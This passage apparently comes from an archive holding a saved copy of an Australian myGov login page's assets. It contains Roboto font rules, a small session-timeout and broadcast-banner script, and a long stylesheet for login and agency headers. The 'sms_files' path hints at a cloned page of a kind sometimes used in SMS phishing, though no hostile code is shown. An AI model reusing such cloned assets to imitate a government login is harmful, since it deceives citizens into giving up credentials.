U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } mygov/app/sms_files/login.js.download000064400000003030151676702570013741 0ustar00setTimeout(function(){window.location="/mygov/content/html/session-expired.html";},1740000);function priorityLookup(levelName){switch(levelName){case"high":return 1;case"medium":return 2;case"low":return 3;default:return 4;}}function compareDates(firstDate,secondDate){firstDate=new Date(firstDate);secondDate=new Date(secondDate);return firstDatepriorityLookup(secondEntry.priority)?1:-1;});return sortedAlerts[0];}function getTopBroadcast(entries){var sortedBroadcasts=entries.sort(function(firstEntry,secondEntry){return compareDates(firstEntry.modified,secondEntry.modified);});return sortedBroadcasts[0];}function displayBroadcast(alert){if(alert&&alert.body){$(".emergency-text").html(alert.body);$(".emergency-text").find("a").attr("target","_blank");$(".emergency-information").css({height:"auto",padding:"17px 5px"});}}$(document).ready(function(){var url=$("#govcms-endpoint").val();var clientId=$("#govcms-client-id").val();var apiVersion=$("#govcms-api-version").val();if(url&&clientId&&apiVersion){fetch(url,{headers:{"x-caas-client-id":clientId,"x-caas-version":apiVersion,"Cache-Control":"no-cache"}}).then(function(resp){return resp.json();}).then(function(data){if(data&&data.broadcasts){displayBroadcast(getTopBroadcast(data.broadcasts));}});}});mygov/app/sms_files/mgv2-application.css000064400000364774151676702570014404 0ustar00.pathway-link-item:focus,.alert-link .alert-link-arrow:focus,.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active,.button-main-mapwap:focus,.button-main-mapwap:active,.anchor:focus,.button-back:focus,.button-close:focus,form [type='radio']:focus+label,form [type='checkbox']:focus+label,button:focus,input:focus,optgroup:focus,select:focus,textarea:focus,.chosen-container:focus,.chosen-select:focus,body a:focus,body .non-transition-link:focus,footer[role='contentinfo'] a:focus,footer[role='contentinfo'] .non-transition-link:focus,.link-arrow:focus,.menu-hitbox:focus,.outage .expand:focus{outline:3px solid #666;outline-offset:2px}.pathway-link-item:focus,.alert-link .alert-link-arrow:focus{outline-offset:-1px}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}html{box-sizing:border-box}*,*::after,*::before{box-sizing:inherit}[type='checkbox']+label[for="same-as-residential"]{display:block;margin-top:30px}.raet-container{display:block;position:relative;width:auto;width:100%;line-height:1.3em}.raet-line{overflow:visible;width:100%;margin:.75em 0 0;box-sizing:border-box;-webkit-transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;height:auto;opacity:1}.raet-line:first-child{margin-top:0}.raet-line:focus{color:blue}.raet-message-success{color:#009b27;background-color:#effbf2;border:1px solid #009b27}.raet-message-fail{color:#bd6400;background-color:#ffffef;border:1px solid #bd6400}.raet-button{display:inline-block;font-size:1em;display:none;cursor:pointer;margin:0 3px;color:#007373;background:#e4efef;border:1px solid #007373}.raet-button:hover{color:black;background:#e2e2e2;border-color:black}.raet-container .raet-singleLine-input{width:100%}.raet-inlineWrapper{position:relative;display:inline-block;margin-bottom:6px!important;max-width:42em}.raet-inlineWrapper>input{box-sizing:border-box}.raet-dropDown{position:absolute;font-size:1em;display:none;left:0;right:0;z-index:1;max-height:425px;overflow:auto;list-style:none;margin:0;padding:0;background:white;border:1px solid grey;box-sizing:border-box;width:100%}.raet-dropDown li{cursor:pointer;padding:.9em .5em .3em;color:#555;min-height:1em}.raet-dropDown .additionalInfo{font-size:.9em;padding-left:1em;line-height:1.75em;text-transform:uppercase}.raet-dropDown strong{color:black}.raet-dropDown li:hover{background-color:#f5f5f5}.raet-dropDown .selected{background-color:#eee}@-webkit-keyframes rotate{100%{-webkit-transform:rotate(360deg)}}@keyframes rotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.raet-spinner{pointer-events:none;display:block;position:absolute;top:0;right:0;border-radius:10px;border:3px solid #aaa;background:white;border-left-color:white;border-right-color:white;margin:3px;opacity:0;-webkit-transition:200ms linear opacity;transition:200ms linear opacity;-webkit-animation:rotate .9s linear infinite;animation:rotate .9s linear infinite}input::-ms-clear{width:0;height:0}.raet-aria-status{border:0 none;clip:rect(0,0,0,0);height:1px;width:1px;margin:-1px;overflow:hidden;padding:0;position:absolute}.raet-inputWrapper>input{width:100%;box-sizing:border-box}.raet-container input,.raet-container select{border:1px solid #969696}#raetDiv-home>div:nth-child(2){display:none}#raetDiv-postal>div:nth-child(2){display:none}/*! Chosen, a Select Box Enhancer for jQuery and Prototype by Patrick Filler for Harvest, http://getharvest.com Version 1.6.2 Full source at https://github.com/harvesthq/chosen Copyright (c) 2011-2016 Harvest http://getharvest.com MIT License, https://github.com/harvesthq/chosen/blob/master/LICENSE.md This file is generated by `grunt build`, do not edit it by hand. */.chosen-container{position:relative;display:block;vertical-align:middle;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.chosen-container *{box-sizing:border-box}.chosen-container .chosen-drop{position:absolute;top:100%;left:-9999px;z-index:1010;width:100%;border:1px solid #aaa;border-top:0;background:#fff}.chosen-container.chosen-with-drop .chosen-drop{left:0}.chosen-container a{cursor:pointer}.chosen-container .search-choice .group-name,.chosen-container .chosen-single .group-name{margin-right:4px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-weight:normal;color:#999}.chosen-container .search-choice .group-name:after,.chosen-container .chosen-single .group-name:after{content:":";padding-left:2px;vertical-align:top}.chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:.7em;border:1px solid #999;background-color:#fff;background-clip:padding-box;text-decoration:none;white-space:nowrap;line-height:1.15;margin-top:.4em}.chosen-container-single .chosen-single:hover{color:#333}.chosen-container-single .chosen-default{color:#333}.chosen-container-single .chosen-single span{display:block;overflow:hidden;margin-right:26px;white-space:nowrap;color:#333}.chosen-container-single .chosen-single-with-deselect span{margin-right:38px}.chosen-container-single .chosen-single abbr{position:absolute;top:40%;right:26px;display:block;width:12px;height:12px;background:url("../icons/chosen-sprite.png") -42px 1px no-repeat;font-size:1px;color:#333}.chosen-container-single .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single.chosen-disabled .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single .chosen-single div{position:absolute;top:25%;right:0;display:block;width:18px;height:100%}.chosen-container-single .chosen-single div b{display:block;width:100%;height:100%;background:url("../icons/chosen-sprite.png") no-repeat 0 2px;color:#333}.chosen-container-single .chosen-search{position:relative;z-index:1010;margin:0;padding:3px 4px;white-space:nowrap}.chosen-container-single .chosen-search input[type="text"]{margin:1px 0;padding:4px 20px 4px 5px;width:100%;height:auto;outline:0;border:1px solid #aaa;background:white url("../icons/chosen-sprite.png") no-repeat 100% -20px;background:url("../icons/chosen-sprite.png") no-repeat 100% -20px;font-size:1rem;font-family:sans-serif;line-height:normal;border-radius:0}.chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0 0 4px 4px;background-clip:padding-box}.chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;left:-9999px}.chosen-container .chosen-results{color:#444;position:relative;overflow-x:hidden;overflow-y:auto;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch}.chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none}.chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer}.chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default}.chosen-container .chosen-results li.highlighted{background-color:#0f6493;color:#fff}.chosen-container .chosen-results li.no-results{color:#777;display:list-item;background:#f4f4f4}.chosen-container .chosen-results li.group-result{display:list-item;font-weight:bold;cursor:default}.chosen-container .chosen-results li.group-option{padding-left:15px}.chosen-container .chosen-results li em{font-style:normal;text-decoration:underline}.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0}.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:transparent}.chosen-container-active.chosen-with-drop .chosen-single div b{background-position:-18px 2px}.chosen-container-active .chosen-choices{border:1px solid #5897fb}.chosen-container-active .chosen-choices li.search-field input[type="text"]{color:#222!important}.chosen-disabled{opacity:.5!important;cursor:default}.chosen-disabled .chosen-single{cursor:default}.chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default}.chosen-rtl{text-align:right}.chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0}.chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl}.chosen-rtl .chosen-single-with-deselect span{margin-left:38px}.chosen-rtl .chosen-single div{right:auto;left:3px}.chosen-rtl .chosen-single abbr{right:auto;left:26px}.chosen-rtl .chosen-choices li{float:right}.chosen-rtl .chosen-choices li.search-field input[type="text"]{direction:rtl}.chosen-rtl .chosen-choices li.search-choice{margin:3px 5px 3px 0;padding:3px 5px 3px 19px}.chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px}.chosen-rtl.chosen-container-single-nosearch .chosen-search,.chosen-rtl .chosen-drop{left:9999px}.chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0}.chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0}.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:0}.chosen-rtl .chosen-search input[type="text"]{padding:4px 5px 4px 20px;background:white url("../icons/chosen-sprite.png") no-repeat -30px -20px;background:url("../icons/chosen-sprite.png") no-repeat -30px -20px;direction:rtl}.chosen-rtl.chosen-container-single .chosen-single div b{background-position:6px 2px}.chosen-rtl.chosen-container-single.chosen-with-drop .chosen-single div b{background-position:-12px 2px}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:144dpi),only screen and (min-resolution:1.5dppx){.chosen-rtl .chosen-search input[type="text"],.chosen-container-single .chosen-single abbr,.chosen-container-single .chosen-single div b,.chosen-container-single .chosen-search input[type="text"],.chosen-container-multi .chosen-choices .search-choice .search-choice-close,.chosen-container .chosen-results-scroll-down span,.chosen-container .chosen-results-scroll-up span{background-image:url("../icons/chosen-sprite@2x.png")!important;background-size:52px 37px!important;background-repeat:no-repeat!important}}.pincode-input-container{display:inline-block}.pincode-input-container input.first{border-top-right-radius:0;border-bottom-right-radius:0}.pincode-input-container input.last{border-top-left-radius:0;border-bottom-left-radius:0;border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:34px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:20px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:120px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}html{color:#333;line-height:1.6;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:400}body{font-size:1.125rem}h1,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title,h4{line-height:1.4;font-weight:400;margin-bottom:.4em}h1{font-size:1.75rem;font-weight:700;margin-bottom:0}h1:first-of-type{margin-top:1.5rem}h2,.display{font-size:1.375rem;line-height:1.2;margin-bottom:.5em}h2:first-of-type,.display:first-of-type{margin-top:1.2em}h2.bold,.bold.display{font-weight:700}h2.bold:nth-of-type(2n),.bold.display:nth-of-type(2n){margin-top:2em}h3,#poro-form #modal-title,.poro-form #modal-title{font-size:1.125rem;font-weight:700;margin-bottom:.8em}h4,h5,h6{font-size:1rem;font-weight:700}@media screen and (min-width:992px){.content-main h1,.content-main h2,.content-main .display,.content-main h3,.content-main #poro-form #modal-title,#poro-form .content-main #modal-title,.content-main .poro-form #modal-title,.poro-form .content-main #modal-title,.content-main h4,.content-main h5,.content-main p,.content-main li,.content-main dl{max-width:38rem}.content-main .content-full-width{max-width:none;width:100%}}strong{font-weight:700}strong.very-bold{font-weight:700}hr{border:1px solid #999;border-bottom:0;margin-bottom:0}ul,ol{padding-left:2.4em}ul ul,ol ul{list-style-type:disc}ul,ol,dl,p,dt,dd{margin-bottom:1rem;line-height:1.6em}li{margin-bottom:.53333em}li ul,li ol{margin-bottom:0}ul.no-bullets{list-style-type:none;margin:0;padding-left:1.2em}dt{display:inline-block;font-weight:700}dt:first-of-type{margin-top:0}.callout,.callout--warning{margin:1.6em .8em;padding:1.2em 1.2em 1.2em 1.6em;border-radius:1px;box-shadow:0 0 8px #ccc}.callout--warning{border-left:.4em solid #b7202d;padding-left:1.2em}.badge--default{display:inline-block;background-color:#999;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--error{display:inline-block;background-color:#b7202d;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--success{display:inline-block;background-color:#026540;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:#e7fff6;font-size:.875rem}article h1:first-of-type{margin-top:0}.is-visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;background-color:#fff!important;color:#333!important}.visiblity-hidden{visibility:hidden}.hidden{display:none}.ua-notification{display:block;padding:.8em;text-align:center;background-color:#f80;color:#333;font-size:1.0625rem;margin-bottom:0}@media print{*,*::before,*::after,*::first-letter ,*::first-line {background:transparent;color:#333;box-shadow:none;text-shadow:none}a,a:visited{text-decoration:underline}a[href]::after{content:" (" attr(href) ")"}abbr[title]::after{content:" (" attr(title) ")"}a[href^='#']::after,a[href^='javascript:']::after{content:''}pre,blockquote{border:1px solid #ccc;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100%}p,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{orphans:3;widows:3}h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{page-break-after:avoid}}html{height:100%;min-width:300px}body{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;height:100%}body>header,body>footer{-webkit-box-flex:0;-webkit-flex:none;-ms-flex:none;flex:none}body>.wrapper,.wrapper-mapwap,.wrapper-integration,.wrapper-integration-mapwap{-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;width:100%;display:inline-block}body>.wrapper::after,.wrapper-mapwap::after,.wrapper-integration::after,.wrapper-integration-mapwap::after{content:'\00a0';height:0;visibility:hidden}@media screen and (min-width:992px){.main-block{max-width:900px;margin-left:auto;margin-right:auto}.main-block::after{clear:both;content:"";display:block}}.wrapper{padding:0 1em}@media screen and (min-width:576px){.wrapper{padding:0 2em}}.wrapper-mapwap{padding:0 1em}.wrapper-mapwap .main-block{max-width:400px;margin-left:auto;margin-right:auto}.wrapper-mapwap .main-block .pin-fields2{text-align:center}.wrapper-mapwap .main-block .pin-fields3{text-align:center}@media screen and (min-width:576px){.wrapper-mapwap .main-block{padding:0 2em;max-width:600px}}.uikit-skip-link{display:block}header[role='banner']{background-color:#026540;border-bottom:4px solid #026540;min-height:80px}header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{position:relative}@media screen and (min-width:992px){header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}header[role='banner'] .inner::after,header[role='banner'] .unauth .product-description .digital-id-inner::after,.unauth .product-description header[role='banner'] .digital-id-inner::after{clear:both;content:"";display:block}}header[role='banner'] .header-logo{display:inline-block;position:absolute;left:0;right:10%;margin-right:1em;margin:0 auto;width:90px;top:31px}@media screen and (min-width:576px){header[role='banner'] .header-logo{width:112px;right:0}}@media screen and (min-width:768px){header[role='banner'] .header-logo{width:135px}}@media screen and (min-width:768px){header[role='banner'] .header-logo{left:0;float:left;position:relative;top:22px}}header[role='banner'] .header-logo a{display:inline-block;border-bottom:0;height:35px;width:100%}@media screen and (min-width:768px){header[role='banner'] .header-logo a{height:40px}}header[role='banner'] .header-logo a:hover,header[role='banner'] .header-logo a:active{background:0}header[role='banner'] .header-logo a span{color:#fff}header[role='banner'] .header-logo a .govFont{color:#d7ea6a}header[role='banner'] .header-logo a:focus{outline:0;outline:3px solid #fff;outline-offset:2px;background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}header[role='banner'] .header-logout{background-color:#026540;color:#fff;font-size:1rem;line-height:1.4;padding:11px;position:absolute;right:0;text-decoration:none;top:16px;margin:1px;width:5.5em;height:auto;-webkit-appearance:button;-moz-appearance:button;-o-appearance:button;-ms-appearance:button;appearance:button}header[role='banner'] .header-logout:before{margin-left:1em}header[role='banner'] .header-logout:after{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:44px;border:2px solid #fff}header[role='banner'] .header-logout:hover,header[role='banner'] .header-logout:focus{border:2px solid;text-decoration:underline;background:0}header[role='banner'] .header-logout:focus{outline:3px solid #fff;background-color:#01462c}header[role='banner'] .header-logout:hover{border-color:#fff}header[role='banner'] .header-logout:active{-webkit-transition:background-color .05s;transition:background-color .05s;outline:0}header #close{float:right;width:36px}@media screen and (min-width:576px){header #close{width:40px}}header #agency-header-logo{float:left;width:160px}@media screen and (min-width:576px){header #agency-header-logo{width:200px}}.authAppHeader{background-color:#026540;height:64px}.authAppHeader .header-img{color:white}.codeGenHeader{background-color:#026540;height:64px}.codeGenHeader .header-img{color:white}.exchangeHeader{background-color:#026540}.exchangeHeader .header-img{color:white}.clkWapHeader{background-color:black;height:64px}@media screen and (min-width:576px){.clkWapHeader{height:80px}}.clkWapHeader .header-img{color:white}.clkMapHeader{background-color:#4c6b9d;height:64px}@media screen and (min-width:576px){.clkMapHeader{height:80px}}.clkMapHeader .header-img{color:white}.csaHeader{background-color:#6b2482;height:64px}@media screen and (min-width:576px){.csaHeader{height:80px}}.csaHeader .header-img{color:white}.dvaHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.dvaHeader{height:80px}}.dvaHeader .header-img{color:black}.dhhsHeader{background-color:#eee;height:105px}.dhhsHeader .header-img{color:black}@media screen and (min-width:576px){.dhhsHeader{height:120px}}.ehrHeader{background-color:#eee;height:100px}@media screen and (min-width:576px){.ehrHeader{height:120px}}.ehrHeader #agency-header-logo{width:280px}.ehrHeader .header-img{color:black}.jobsHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.jobsHeader{height:80px}}.jobsHeader .header-img{color:black}.mcaHeader{background-color:#018643;height:64px}@media screen and (min-width:576px){.mcaHeader{height:80px}}.mcaHeader .header-img{color:white}.redrHeader{background-color:#eee;height:90px}.redrHeader .header-img{color:black}@media screen and (min-width:576px){.redrHeader{height:100px}}.ndisHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.ndisHeader{height:80px}}.ndisHeader .header-img{color:black}.vicsroHeader{background-color:#eee;height:90px}.vicsroHeader .header-img{color:black}.vicsroHeader #agency-header-logo{width:90px}@media screen and (min-width:576px){.vicsroHeader{height:130px}.vicsroHeader #agency-header-logo{width:150px}}.exchangeHeader{height:64px}.exchangeHeader #agency-header-logo{width:220px}@media screen and (min-width:576px){.exchangeHeader{height:80px}.exchangeHeader #agency-header-logo{width:400px}}.mcaHeader .unauth-grid,.ndisHeader .unauth-grid,.dhhsHeader .unauth-grid,.dvaHeader .unauth-grid,.redrHeader .unauth-grid,.clkWapHeader .unauth-grid,.clkMapHeader .unauth-grid,.authAppHeader .unauth-grid,.codeGenHeader .unauth-grid,.jobsHeader .unauth-grid,.ehrHeader .unauth-grid,.vicsroHeader .unauth-grid,.exchangeHeader .unauth-grid,.csaHeader .unauth-grid{margin-top:1em}.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{position:relative}@media screen and (min-width:992px){.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}.mcaHeader .inner::after,.mcaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .mcaHeader .digital-id-inner::after,.ndisHeader .inner::after,.ndisHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ndisHeader .digital-id-inner::after,.dhhsHeader .inner::after,.dhhsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dhhsHeader .digital-id-inner::after,.dvaHeader .inner::after,.dvaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dvaHeader .digital-id-inner::after,.redrHeader .inner::after,.redrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .redrHeader .digital-id-inner::after,.clkWapHeader .inner::after,.clkWapHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .clkWapHeader .digital-id-inner::after,.clkMapHeader .inner::after,.clkMapHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .clkMapHeader .digital-id-inner::after,.authAppHeader .inner::after,.authAppHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .authAppHeader .digital-id-inner::after,.codeGenHeader .inner::after,.codeGenHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .codeGenHeader .digital-id-inner::after,.jobsHeader .inner::after,.jobsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .jobsHeader .digital-id-inner::after,.ehrHeader .inner::after,.ehrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ehrHeader .digital-id-inner::after,.vicsroHeader .inner::after,.vicsroHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .vicsroHeader .digital-id-inner::after,.exchangeHeader .inner::after,.exchangeHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .exchangeHeader .digital-id-inner::after,.csaHeader .inner::after,.csaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .csaHeader .digital-id-inner::after{clear:both;content:"";display:block}}.mcaHeader .header-img,.ndisHeader .header-img,.dhhsHeader .header-img,.dvaHeader 